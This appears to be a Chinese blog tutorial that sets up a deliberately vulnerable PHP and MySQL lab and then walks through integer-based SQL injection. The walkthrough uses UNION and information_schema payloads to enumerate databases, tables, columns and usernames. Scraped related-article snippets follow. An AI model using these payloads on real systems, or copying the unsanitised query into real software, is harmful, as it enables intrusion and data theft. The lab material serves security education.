首先搭建一个用于注入的环境

目录结构

conn.php    用来连接数据库的文件PHP文件

index.php    用来执行SQL命令,以及返回查询结构

index.html              一个存在注入点的页面

conn.php的代码

<?php
$servername="localhost";
$username="root";
$password="weiwhy";
try{
$con=new PDO("mysql:host=$servername;dbname=phpdisk",$username,$password);
echo "链接数据库成功";
}catch(PDOException $e){
echo $e->getMessage();
} $con->exec('set names utf8');///exec方法用来执行没有结果返回的SQL语句。。。设置查询语句为utf-8
?>

index.php代码

<?php
require('conn.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php
$id=$_GET['id'];
$result=$con->query("select * from pd_users where userid=$id");//执行查询的SQL语句
foreach($result as $value){
var_dump($value);////直接输出作为显示位
}
?>
</body>
</html>

index.html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form action="index.php" method="GET">
<input type="text" name="id">
<input type="submit" value="提交">
</form>
</body>
</html>

存在的注入点为

http://www.a.com/index.php?id=1

第一步,首先判断注入点是否可用

http://www.a.com/index.php?id=1  and 1=1显示正常

http://www.a.com/index.php?id=1  and 1=2 正常返回但是没有数据

第二步,判断查询的表存在的列数

http://www.a.com/index.php?id=1  order by 2

使用排序方法判断存在多少行,根据第29列无法排序,说明不存在这一列

根据第28列排序正常,所以此表存在28列

第三步,使用联合查询,查找显示位

union select 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4

第四步,查询所有的库名

通过查询information_schema.schemata表

select distinct group_concat(schema_name) from information_schema.schemata

第五步,查询指定库的所有表

可以看到上一步中,拿到另外所有的库名,这一步指定查询estoresyste库

select distinct group_concat(table_name) from information_schema.tables where table_schema='estoresystem'

第六步,查询指定表的所有列

拿到指定库的所有表之后,指定查询user表的所有列

select distinct group_concat(column_name) from information_schema.columns where table_name='users'

第七步,查询数据

select distinct group_concat(username) from estoresystem.users

查询到该表的四个用户

SQL注入中的整型注入实验的更多相关文章

  1. 阿里云提示:对输入参数id未进行正确类型转义,导致整型注入的发生

    类似以下提示: XXX.php中,对输入参数id未进行正确类型转义,导致整型注入的发生 解决办法: 找到对应文件:$id = $_GET['id']; 增加以下标红过滤: $id = $_GET['i ...

  2. 【sqli-labs】 less35 GET- Bypass Add Slashes(we dont need them) Integer based (GET型绕过addslashes() 函数的整型注入)

    整型注入不用闭合引号,那就更简单了 http://192.168.136.128/sqli-labs-master/Less-35/?id=0 union select 1,database(),3% ...

  3. dateline 在数据库中就是 整型字段。date函数是可以转换成可读日期的。

    返回数据中的dateline全部用date()函数转换后再返回,是要嵌套循环还是遍历,代码怎么写? //查询我的活动 function user_activity_info_by_uid($uid){ ...

  4. CVE-2018-14634 - Linux create_elf_tables()中的整型溢出 - 翻译

    原文:https://seclists.org/oss-sec/2018/q3/274 摘要 Qualys研究实验室的安全团队发现一个位于Linux内核函数create_elf_tables()中的整 ...

  5. 【sqli-labs】 less41 GET -Blind based -Intiger -Stacked(GET型基于盲注的堆叠查询整型注入)

    整型的不用闭合引号 http://192.168.136.128/sqli-labs-master/Less-41/?id=1;insert into users(id,username,passwo ...

  6. MySQL和PHP中以整型存储IP地址

    正文:将IP地址以整型存储 一般我们在数据库中会用到ip地址用来查记录的等等,而ip地址是分为四段的,一般是用varchar或char类型存储.但是其实有更好的存储方法就是以整型存储IP地址. 因为c ...

  7. 在JavaScript中判断整型的N种方法

    原文:http://www.cnblogs.com/YcYYcY/p/3759184.html 整数类型(Integer)在JavaScript经常会导致一些奇怪的问题.在ECMAScript的规范中 ...

  8. C#语言基础 Main 函数中变量 整型

    在我们每次上网或者用电脑的时候,请输入你的xxx 或者你的名字(年龄/身高/学校/籍贯)是 在这里我们就要学到一些变量,就是不确定的东西 string a:   //赋予变量 a ="内容& ...

  9. c语言中指向整型指针的指针的理解

    /************************************************************************* > File Name: ptr_ptr_i ...

随机推荐

  1. Dubbo原理与框架设计

    Dubbo是常用的开源服务治理型RPC框架,在之前osgi框架下不同bundle之间的方法调用时用到过.其工作原理和框架设计值得开源技术爱好者学习和研究. 一.Dubbo的工作原理 调用关系说明 服务 ...

  2. SublimeLinter js和css的语法检查

    JavaScript 语法检查 SublimeLinter-jshint 是基于 nodeJS 下的 jshint 的插件,实际上 SublimeLinter-jshint 调用了 nodeJS 中 ...

  3. ubuntu下安装显卡驱动

    前言           以下内容是个人学习之后的感悟,转载请注明出处~ 作者的显卡是GT 730,现以NVIDIA-Linux-x86-384.69为例. 1.打开终端,先删除旧的驱动: sudo ...

  4. Flutter实战视频-移动电商-14.首页_url_launcher一键拨打店长电话

    14.首页_url_launcher一键拨打店长电话 首页拨打电话的功能. 接收连个值,一个是店长的头像,一个是电话号码, 然后开始写我们的build方法.点击图片的时候要有一个拨打电话的动作.我们要 ...

  5. UVa 12333 Revenge of Fibonacci (字典树+大数)

    题意:给定一个长度小于40的序列,问你那是Fib数列的哪一项的前缀. 析:首先用大数把Fib数列的前100000-1项算出来,注意,一定不能是100000,要不然会WA的,然后每个数取前40位,不足4 ...

  6. CCF 201509-3 模板生成系统 (STL+模拟)

    问题描述 成成最近在搭建一个网站,其中一些页面的部分内容来自数据库中不同的数据记录,但是页面的基本结构是相同的.例如,对于展示用户信息的页面,当用户为 Tom 时,网页的源代码是 而当用户为 Jerr ...

  7. lua中文教程【基本语法】

    代码例子:http://www.inf.puc-rio.br/~roberto/book/code.html 注意:没有“:” 1.特点:可扩展.简单.高效.跨平台 2.使用方式:嵌入程序.独立使用. ...

  8. Python3.6 字典的内置方法

    1.dict.clear(self) 删除字典内所有元素 2.dict.copy(self) 返回一个字典的浅复制,拷贝父对象,不会拷贝对象的内部的子对象 3.dict.fromkeys(self,  ...

  9. IOS按需返回刷新数据

    问题描述 相信大家都会遇到过这种情况: 进入下一页面,并且在下一页面执行某一动作,返回要刷新,没有执行某一动作,返回不刷新.也就是当前页面要实现按照需求刷新页面 实现思路 在当前页面定义个Bool类型 ...

  10. MongoDb 创建用户以及其他版本造成的一些问题

    问题:require auth data to have schema version 3 but found 1 这是可以查看如下链接: http://stackoverflow.com/quest ...